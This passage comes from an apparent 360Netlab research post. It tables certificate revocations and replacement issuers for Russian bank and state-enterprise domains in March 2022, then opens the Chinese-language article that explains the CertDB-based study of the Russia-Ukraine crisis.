<td>2022-03-01 00:39:21</td>
<td>*.zapsibkombank.ru</td>
<td>8f22318ed13d74026e621796ddae0fd5491ef05e</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 20:46:07</td>
<td>1209.2</td>
</tr>
<tr>
<td>2022-03-01 00:39:26</td>
<td>newbusiness.psbank.ru</td>
<td>49332bdaeb5270f425b5d6245e72806c40bc14dc</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-01 13:56:11</td>
<td>796.8</td>
</tr>
<tr>
<td>2022-03-01 00:39:41</td>
<td>*.exiar.ru</td>
<td>f9b9ea6d9e4a66ce1431d7d8a8f526a1ad67229b</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>connect_error</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-01 01:27:31</td>
<td>*.psbank.ru</td>
<td>7c68142b2cdd1630223055ddc86ae20b303a31a7</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>timed out</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-01 01:31:28</td>
<td>psbinvest.ru</td>
<td>9f1398b5b7c9692b42b693523873aa8955c7dccf</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>revoke_state</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-01 01:32:23</td>
<td>*.payment.ru</td>
<td>d7ec65409697d900acc5af14d1e49a48686f2da2</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>connect_error</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-01 01:33:04</td>
<td>ib.psbank.ru</td>
<td>9e171b1269ae6defa889bfe4aee007435688ac57</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>DigiCert Inc</td>
<td>2020-03-16 00:00:00</td>
<td>1346.9</td>
</tr>
<tr>
<td>2022-03-01 01:33:08</td>
<td>*.exportcenter.ru</td>
<td>8fd06cdae2dee7357c2453e2747f93717165679d</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>connect_error</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-01 01:33:41</td>
<td>*.round.ru</td>
<td>f25d7f41847e1728d358df6b03072feddafc3e50</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-03 11:53:00</td>
<td>619.3</td>
</tr>
<tr>
<td>2022-03-01 01:34:16</td>
<td>online.rgsbank.ru</td>
<td>7d15927eedff53fb2255a32ac61ec4fd2a322b03</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-08 07:27:59</td>
<td>353.7</td>
</tr>
<tr>
<td>2022-03-01 01:34:21</td>
<td>ib.rgsbank.ru</td>
<td>5e20dc4665c1ff3c32ffe6a8d9b0dc73a83ba11e</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-03 11:57:03</td>
<td>622.7</td>
</tr>
<tr>
<td>2022-03-01 01:34:39</td>
<td>*.veb-leasing.ru</td>
<td>3594e8d133ee4b40dbe422f57488a31c4f0a6045</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>connect_error</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-01 01:35:15</td>
<td>index.vtbcapital.ru</td>
<td>05a89c6f02cf8d6af1b07bfe4ecedc08e28b89b3</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-02-22 11:34:09</td>
<td>598.9</td>
</tr>
<tr>
<td>2022-03-01 01:41:54</td>
<td>*.pib.ua</td>
<td>a8f0b2ee09757d5c1c078a8ab09d02adaf2fb90a</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>revoke_state</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-01 20:49:38</td>
<td>*.rdif.ru</td>
<td>0aa035b197adec963573943750b8722613c6f32d</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-14 14:28:08</td>
<td>1058.5</td>
</tr>
<tr>
<td>2022-03-02 00:17:47</td>
<td>www.vtbcapital.ru</td>
<td>cd833e8b6c3bd7ba6ef82863e2d455f36115d887</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-01 10:48:02</td>
<td>630.2</td>
</tr>
<tr>
<td>2022-03-02 00:48:49</td>
<td>divrating.ru</td>
<td>ad6f7d3f3cf19b2f7d2bd8046d4b282164c11ee3</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>revoke_state</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-02 00:50:35</td>
<td>retail-tst.payment.ru</td>
<td>7382892d1cda4062c3c36fe9f7cb3aa98c91f192</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Promsvyazbank Public Joint-Stock Company</td>
<td>2022-02-09 06:27:00</td>
<td>336.4</td>
</tr>
<tr>
<td>2022-03-02 00:51:23</td>
<td>business.psbank.ru</td>
<td>0d7a666e2b8096bd855ee04cecaaaf7bb0bad65b</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-01 13:56:11</td>
<td>784.8</td>
</tr>
<tr>
<td>2022-03-02 00:52:44</td>
<td>*.fintender.ru</td>
<td>590a671a7b999524da77eacfe7a01f6f3a6e78b5</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-01 10:25:28</td>
<td>572.7</td>
</tr>
<tr>
<td>2022-03-02 00:53:11</td>
<td>elf.sovcombank.ru</td>
<td>51f335b5dc8dfcedd053595ce7efdd0e1d7847a5</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>revoke_state</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-02 00:53:27</td>
<td>*.sovcomins.ru</td>
<td>96e64d494478f94437fa0ec80c654cb3540ccf3b</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-01 11:28:03</td>
<td>634.6</td>
</tr>
<tr>
<td>2022-03-02 00:53:39</td>
<td>*.sovcomins.ru</td>
<td>5130c18cf167288432cb5e682fc75f020e6c6184</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-01 11:28:03</td>
<td>634.4</td>
</tr>
<tr>
<td>2022-03-02 00:53:54</td>
<td>*.halvacard.ru</td>
<td>6e714e73b0e2aeaeb8570882268bc135481e27ae</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-01 10:32:27</td>
<td>578.5</td>
</tr>
<tr>
<td>2022-03-02 00:54:52</td>
<td>*.sovcombank-leasing.ru</td>
<td>377d73b8debb805775e5d54a92a6ed9a2d59d7f7</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-01 11:21:44</td>
<td>626.9</td>
</tr>
<tr>
<td>2022-03-02 01:00:22</td>
<td>*.sovcombank.ru</td>
<td>095949796378475fab907593078f31171426211b</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-02 10:35:47</td>
<td>575.4</td>
</tr>
<tr>
<td>2022-03-02 01:01:05</td>
<td>www.russiacalling.ru</td>
<td>4da16dec1f8f94ad4054827da076e7ed6c616ed4</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-02-18 10:57:33</td>
<td>596.5</td>
</tr>
<tr>
<td>2022-03-02 19:21:51</td>
<td>vtbcapital-pr.ru</td>
<td>33e79ce3e482ec54b6e64bd4b7d79bf43790b7f8</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-05 09:08:48</td>
<td>827.0</td>
</tr>
<tr>
<td>2022-03-02 19:25:11</td>
<td>online.vtbcapital-pr.ru</td>
<td>ed33db76b7411f47914b801b9821a86dc79d661a</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-03 09:12:07</td>
<td>826.9</td>
</tr>
<tr>
<td>2022-03-02 19:26:08</td>
<td>factorext.sovcomfactoring.ru</td>
<td>74ffb8eb4fc7d16df780e01bcb37a335fa33700d</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-10 08:38:54</td>
<td>792.8</td>
</tr>
<tr>
<td>2022-03-02 19:28:06</td>
<td>sovcomfactoring.ru</td>
<td>e8aa6b085b51750279b4995c43f61084713616a1</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-09 13:26:46</td>
<td>1078.7</td>
</tr>
<tr>
<td>2022-03-02 19:31:12</td>
<td>3ds.payment.ru</td>
<td>d416e7e0a63a3aee630ff53c771538bbd4757fc2</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>ZeroSSL</td>
<td>2022-03-01 00:00:00</td>
<td>268.8</td>
</tr>
<tr>
<td>2022-03-02 19:33:43</td>
<td>www.upravlyaem.ru</td>
<td>6666da94e3dab49d944b0c8277e99fc28c3add20</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-04 14:24:05</td>
<td>1130.4</td>
</tr>
<tr>
<td>2022-03-02 19:44:46</td>
<td>esg.vtbcapital-am.ru</td>
<td>376f20fe0b9864c93aeadf592946ff5814986a20</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>timed out</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-02 19:47:40</td>
<td>online.vtbcapital-am.ru</td>
<td>1c41fb355d03aeb0c9b8ae774d82f479376d5169</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>timed out</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-02 19:51:07</td>
<td>vtbcapital-am.ru</td>
<td>7d3d2993421c7a36e29efff424deffa9a6fc41ff</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>timed out</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-04 03:09:27</td>
<td>mobile.broker.vtb.ru</td>
<td>9c28db643025e0d19ab43f5d1d3b6529c0ffd668</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>revoke_state</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-04 03:10:37</td>
<td>m.komission.vtb.ru</td>
<td>b9581d97f46630c0b3fa1e44abc3b87a18f1fe45</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-09 13:36:28</td>
<td>625.9</td>
</tr>
<tr>
<td>2022-03-04 03:11:17</td>
<td>broker.vtb.ru</td>
<td>bfd4503f97fc6e0cbc6ad343749c3f537df04c5e</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>VTB BANK (PJSC)</td>
<td>2022-03-01 12:51:08</td>
<td>579.9</td>
</tr>
<tr>
<td>2022-03-04 03:21:19</td>
<td>nh.open.ru</td>
<td>5e30d7f5433f04335da04a3937a60ffca9c0f573</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-03 13:34:34</td>
<td>613.2</td>
</tr>
<tr>
<td>2022-03-04 03:21:20</td>
<td>drive.rgsbank.ru</td>
<td>b857c6db95e11a2a8fd8035830d0eaa939119821</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-11 05:21:11</td>
<td>119.8</td>
</tr>
<tr>
<td>2022-03-04 03:21:20</td>
<td>flexy.open.ru</td>
<td>3d680c9008191aa5af8559ffd19f0b68a81dc80c</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-03 13:35:16</td>
<td>613.9</td>
</tr>
<tr>
<td>2022-03-04 03:21:20</td>
<td>*.sovcomlife.ru</td>
<td>d7ca302ca85fd90ed27e7d67bfad871e3aa5d2b1</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-01 11:25:06</td>
<td>483.8</td>
</tr>
<tr>
<td>2022-03-04 03:21:20</td>
<td>wyse.open.ru</td>
<td>cadc73ba8feb33dda75771916cf2b06f4e69fa95</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-03 13:34:46</td>
<td>613.4</td>
</tr>
<tr>
<td>2022-03-04 03:21:21</td>
<td>aramis-mp.open.ru</td>
<td>170bc71f8654b595a54e1510dfdd9ae4c05955f5</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-12 08:47:50</td>
<td>326.5</td>
</tr>
<tr>
<td>2022-03-04 03:21:21</td>
<td>htfx.calc-csp.rgsbank.ru</td>
<td>85f1d60f52b7675a7f303ee3f98d9bf23e21def9</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-05 13:21:46</td>
<td>600.4</td>
</tr>
<tr>
<td>2022-03-04 03:21:21</td>
<td>htfx.front-csp.rgsbank.ru</td>
<td>41586bef0b15f80b8599251eb6566c08f6239e25</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-05 13:21:46</td>
<td>600.4</td>
</tr>
<tr>
<td>2022-03-04 03:21:21</td>
<td>htfx.photo-csp.rgsbank.ru</td>
<td>60f9ec76418a966d0c1df5df0f13bc6197d6f5c0</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-05 13:21:46</td>
<td>600.4</td>
</tr>
<tr>
<td>2022-03-04 03:21:21</td>
<td>htfx.pms-csp.rgsbank.ru</td>
<td>52eb5e8380c18902d330200a1659c7100cd2162a</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-05 13:21:46</td>
<td>600.4</td>
</tr>
<tr>
<td>2022-03-04 03:21:21</td>
<td>mx1.vtbcapital.com</td>
<td>5e71797ed517cb6b849b416da0a13a43b74b0e59</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>timed out</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-04 03:21:21</td>
<td>mx2.vtbcapital.com</td>
<td>48117270c174d1f612c94ea8ca2e5691d2b9bbea</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>timed out</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-04 03:21:21</td>
<td>mx3.vtbcapital.com</td>
<td>9d7864b28da25ce62c482153df67e7cc2af479ff</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>timed out</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-04 03:21:21</td>
<td>mx4.vtbcapital.com</td>
<td>4aaac0294ce0f2738e77d32ad6d06c49db49065c</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>timed out</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-04 03:21:21</td>
<td>private.fintender.ru</td>
<td>2e835225e225caa7513c58673b56b47a859531e3</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>revoke_state</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-04 03:21:22</td>
<td>ctx-mdm.open.ru</td>
<td>3a30376b94476adfbb6dca5cabe4da140863cad5</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-03 13:34:58</td>
<td>613.6</td>
</tr>
<tr>
<td>2022-03-04 03:21:22</td>
<td>tst-ctx-mdm.open.ru</td>
<td>d575be8cfa22ee2819721a0e83efbeb02b45742c</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>revoke_state</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-04 03:21:23</td>
<td>static.mobapp-daily.open.ru</td>
<td>22ad762875824d98e74ad61d245002c6c9e1aaff</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-12 08:47:40</td>
<td>326.3</td>
</tr>
<tr>
<td>2022-03-04 03:21:25</td>
<td>calculator.csp.rgsbank.ru</td>
<td>325a187de3994fac667498c2fb604353082588ab</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-05 16:29:54</td>
<td>788.5</td>
</tr>
<tr>
<td>2022-03-04 03:21:25</td>
<td>front.csp.rgsbank.ru</td>
<td>3ce8b3fae0fa1fa747c48fac6c40bfff6f72ef6e</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-05 16:29:54</td>
<td>788.5</td>
</tr>
<tr>
<td>2022-03-04 03:21:25</td>
<td>photo.csp.rgsbank.ru</td>
<td>d86f49038701c42c5719887fced0990ad1d27182</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-05 16:29:54</td>
<td>788.5</td>
</tr>
<tr>
<td>2022-03-04 03:21:26</td>
<td>bi.rgsbank.ru</td>
<td>010f750d54eb3ed9b557b1f5b5a2d89758d159b0</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>revoke_state</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-04 03:21:26</td>
<td>*.university.cbr.ru</td>
<td>c41d962ddf81f3e46eb2ebc0727212d1830933d9</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-01 10:16:07</td>
<td>414.7</td>
</tr>
<tr>
<td>2022-03-04 08:05:19</td>
<td>vonage.ru</td>
<td>5757ed730113c3dba2b72e9b91cac869901306cb</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>DigiCert Inc</td>
<td>Mulit_certs</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-04 19:48:24</td>
<td>*.vtb.ge</td>
<td>10be80e75a31324fb62e72400721a01fb6d74a49</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>DigiCert Inc</td>
<td>Mulit_certs</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-04 19:48:54</td>
<td>ivtb.ge</td>
<td>5a8b15c09ee02f8cbf453dc054531df249031e9c</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-04 22:07:50</td>
<td>138.9</td>
</tr>
<tr>
<td>2022-03-04 20:02:11</td>
<td>online.vostbank.ru</td>
<td>ae5dbf5b47fbf0e6f7c180696f73c26de83acb4b</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>revoke_state</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-04 20:02:24</td>
<td>vostbank.ru</td>
<td>3089301610a7d4f3d6af3410375860e7ac17c109</td>
<td>DigiCert Inc</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-10 06:22:00</td>
<td>619.6</td>
</tr>
<tr>
<td>2022-03-07 18:55:59</td>
<td>open.ru</td>
<td>e3d4bcbb295c4e2801c2652e5bbee37612db6757</td>
<td>Sectigo Limited</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-04 14:37:19</td>
<td>1181.3</td>
</tr>
<tr>
<td>2022-03-07 18:56:00</td>
<td>*.urozhai.rshb.ru</td>
<td>9c2db763f9fbb10b02a325ee001200b09466df11</td>
<td>GoGetSSL</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-08 11:52:19</td>
<td>1016.3</td>
</tr>
<tr>
<td>2022-03-07 18:56:01</td>
<td>business.rgsbank.ru</td>
<td>c4be431e66306ee421c830e3a84f0a1b1307ad7f</td>
<td>Sectigo Limited</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-09 10:11:12</td>
<td>915.2</td>
</tr>
<tr>
<td>2022-03-07 18:56:02</td>
<td>acs.rshb.ru</td>
<td>85de94c42a694d79a2aeea2a4c7cae381827ecb8</td>
<td>GoGetSSL</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-09 08:48:16</td>
<td>832.2</td>
</tr>
<tr>
<td>2022-03-07 18:56:02</td>
<td>rshb.ru</td>
<td>8b9aff36b06a60ce3031947f2a370c859af8fb99</td>
<td>Sectigo Limited</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-08 08:31:30</td>
<td>815.5</td>
</tr>
<tr>
<td>2022-03-07 18:56:04</td>
<td>online.rshb.ru</td>
<td>d027380e5c0a0ab27967e886bcfee70fef4f31bf</td>
<td>GoGetSSL</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-08 08:31:30</td>
<td>815.4</td>
</tr>
<tr>
<td>2022-03-07 18:56:05</td>
<td>*.rshb.ru</td>
<td>dcf6fc810d4a66b7582ea01461ddc9ad5e209828</td>
<td>GoGetSSL</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-08 08:31:30</td>
<td>815.4</td>
</tr>
<tr>
<td>2022-03-07 18:56:06</td>
<td>*.mes.rshb.ru</td>
<td>91fba72984fb02fa86690ab86cba991686feb89f</td>
<td>GoGetSSL</td>
<td>financial/bank</td>
<td>connect_error</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-07 18:56:08</td>
<td>ecom.alfabank.ru</td>
<td>81d4da7893e9c2f7e0ce89361d856706d2ebbf54</td>
<td>Sectigo Limited</td>
<td>financial/bank</td>
<td>Let's Encrypt</td>
<td>2022-03-09 10:55:38</td>
<td>959.5</td>
</tr>
<tr>
<td>2022-03-07 18:56:08</td>
<td>*.sbud.rshb.ru</td>
<td>ad297055882cb67f39e1fd8155ad79335aa8706c</td>
<td>GoGetSSL</td>
<td>financial/bank</td>
<td>connect_error</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-07 18:56:09</td>
<td>coins.rshb.ru</td>
<td>3c724fca6a93b4a793f58e539dc6420f3bada12a</td>
<td>GoGetSSL</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-09 09:21:49</td>
<td>865.7</td>
</tr>
<tr>
<td>2022-03-07 18:56:09</td>
<td>ebs-bio.rshb.ru</td>
<td>06275cd5f4fb577f65084811edd9ceb8bddbe270</td>
<td>GoGetSSL</td>
<td>financial/bank</td>
<td>connect_error</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-07 18:56:09</td>
<td>factoring.rshb.ru</td>
<td>19d403511413170b32609c23bce7a412d63b6bf1</td>
<td>GoGetSSL</td>
<td>financial/bank</td>
<td>GoGetSSL</td>
<td>2022-01-08 00:00:00</td>
<td>303.9</td>
</tr>
<tr>
<td>2022-03-07 18:56:09</td>
<td>finradar.rshb.ru</td>
<td>f45b8bbb777d7edd267c50aebf438a5d9bed6218</td>
<td>GoGetSSL</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-14 14:55:32</td>
<td>1199.4</td>
</tr>
<tr>
<td>2022-03-07 18:56:09</td>
<td>lk.factoring.rshb.ru</td>
<td>517b298ccf43a18b55334929b268578ab65f8dfd</td>
<td>GoGetSSL</td>
<td>financial/bank</td>
<td>GoGetSSL</td>
<td>2022-02-01 00:00:00</td>
<td>303.9</td>
</tr>
<tr>
<td>2022-03-07 18:56:09</td>
<td>mx1.rshb.ru</td>
<td>6af4f13c7bad1eca2909a7ce73852c2c971eca59</td>
<td>Sectigo Limited</td>
<td>financial/bank</td>
<td>timed out</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-07 18:56:09</td>
<td>mx2.rshb.ru</td>
<td>03c96fb7670b4d1e38e062e231cf6067e8d92632</td>
<td>Sectigo Limited</td>
<td>financial/bank</td>
<td>timed out</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-07 18:56:09</td>
<td>rrdg.factoring.rshb.ru</td>
<td>6c765c5105719c9f0001e7dabf49acd81a6b8dc0</td>
<td>GoGetSSL</td>
<td>financial/bank</td>
<td>connect_error</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-07 18:56:09</td>
<td>*.sbud.rshb.ru</td>
<td>3a41b87715bc4d4fe106aad7e6d78be7e50bb6aa</td>
<td>GoGetSSL</td>
<td>financial/bank</td>
<td>connect_error</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-07 18:56:09</td>
<td>smx.rshb.ru</td>
<td>49ada6266390ab055b6d0f09593eae200377aaa3</td>
<td>Sectigo Limited</td>
<td>financial/bank</td>
<td>timed out</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-07 18:56:09</td>
<td>travelergo.rshb.ru</td>
<td>a9edd5ac03f386d04ef4b853028bb1b7ec5c7fa5</td>
<td>GoGetSSL</td>
<td>financial/bank</td>
<td>connect_error</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-07 18:56:09</td>
<td>travelerrf.rshb.ru</td>
<td>e7d5b471a3705abf7082124ce7fe3f859e238113</td>
<td>GoGetSSL</td>
<td>financial/bank</td>
<td>connect_error</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-07 18:56:10</td>
<td>merchant-api.sbp.rshb.ru</td>
<td>5ab3718a93beda27f449b32b042473e69a6cb994</td>
<td>GoGetSSL</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-08 11:55:47</td>
<td>1019.6</td>
</tr>
<tr>
<td>2022-03-07 18:56:10</td>
<td>mx1.rshb.ru</td>
<td>2288b60c7d3e48657985ce904d59a6fb46070971</td>
<td>Sectigo Limited</td>
<td>financial/bank</td>
<td>timed out</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-07 18:56:10</td>
<td>*.plc.rshb.ru</td>
<td>097d0a314edbc0804996b31050cbe759ec8807ce</td>
<td>GoGetSSL</td>
<td>financial/bank</td>
<td>connect_error</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-07 18:56:10</td>
<td>test07.rshb.ru</td>
<td>f4774d7c5dc4d566eb31785e475714a59f1d4ecb</td>
<td>Sectigo Limited</td>
<td>financial/bank</td>
<td>Sectigo Limited</td>
<td>2022-01-20 00:00:00</td>
<td>303.8</td>
</tr>
<tr>
<td>2022-03-07 18:56:10</td>
<td>xapi.factoring.rshb.ru</td>
<td>bdd72b1e18d71c3b11530c744b87529a01d60407</td>
<td>GoGetSSL</td>
<td>financial/bank</td>
<td>GoGetSSL</td>
<td>2022-02-01 00:00:00</td>
<td>303.8</td>
</tr>
<tr>
<td>2022-03-07 18:56:11</td>
<td>broker.rshb.ru</td>
<td>172a20e5fa0950478f0550971461a5b5724d5961</td>
<td>GoGetSSL</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-08 15:17:48</td>
<td>1221.6</td>
</tr>
<tr>
<td>2022-03-07 18:56:11</td>
<td>*.crimearw.ru</td>
<td>9a8305c0f610a8ae6f6fd3a21c58b65521fad5ec</td>
<td>Sectigo Limited</td>
<td>state-enterprise</td>
<td>timed out</td>
<td>None</td>
<td>None</td>
</tr>
<tr>
<td>2022-03-07 18:56:11</td>
<td>quik.rshb.ru</td>
<td>af736621443bec16668533737afc2435fdd5bcbf</td>
<td>GoGetSSL</td>
<td>financial/bank</td>
<td>GlobalSign nv-sa</td>
<td>2022-03-08 15:06:56</td>
<td>1210.8</td>
</tr>
<tr>
<td>2022-03-11 19:26:00</td>
<td>sberinsur.ru</td>
<td>93b10cb245f35e7d2c9ecbba5c10d7b5adf0f778</td>
<td>Sectigo Limited</td>
<td>financial/bank</td>
<td>connect_error</td>
<td>None</td>
<td>None</td>
</tr>
</tbody>
</table>
<!--kg-card-end: markdown--> | 背景
当前这场始于2021的俄乌危机已经注定载入史册,不仅因为危机中的冲突会对传统政治地缘产生深远影响,也因为这些冲突历史性的全面蔓延到网络空间。我们(360Netlab)从独立采集到的数据出发,观察分析并呈现冲突中各利益相关方采取的行动和反制行动,希望有利于安全社区思考自身在网络空间中的定位、态度和行动。
本文中的观察分析基于网络资产的SSL证书数据库CertDB,它是360Netlab 运营的网络空间基础数据之一,它采集了几乎全部活跃的网络空间中的网站证书。证书是整个现代webPKI系统的最核心的部分之一。如果说DNS数据标识了网络资产的地址,那么证书就是网络资产的身份证。丢失或者没有证书数据,就没有办法证明“我”就是“我”。因此作为互联网安全运营的基础数据,重要性不言而喻。
360Netlab同时运营着的网络空间基础数据库包括描述域名注册的WhoisDB、域名解析的PassiveDNS、网站页面的WebDB等等。这些基础数据库的条目以十亿或千亿为单位计,共同构成了用以描述全球网络空间变迁的DNSMon系统。
在CertDB的支持下,我们有足够坚实的数据基础来解读本次俄乌危机中俄罗斯网络空间中网站证书的变化情况。
3月初,乌克兰政府向互联网域名管理机构ICANN书面请求将俄罗斯相关顶级域名“.ru”, “.рф” 和“.su”从互联网撤销[1],但ICANN并没有认同这份请求[2]。近日,我们注意到俄罗斯相关的一些国家基础设施网站的证书被证书机构陆续吊销。本文利用DNSMon的证书数据库,从数据角度来更准确的衡量这个现象在实际数据中的表现。
数据筛选
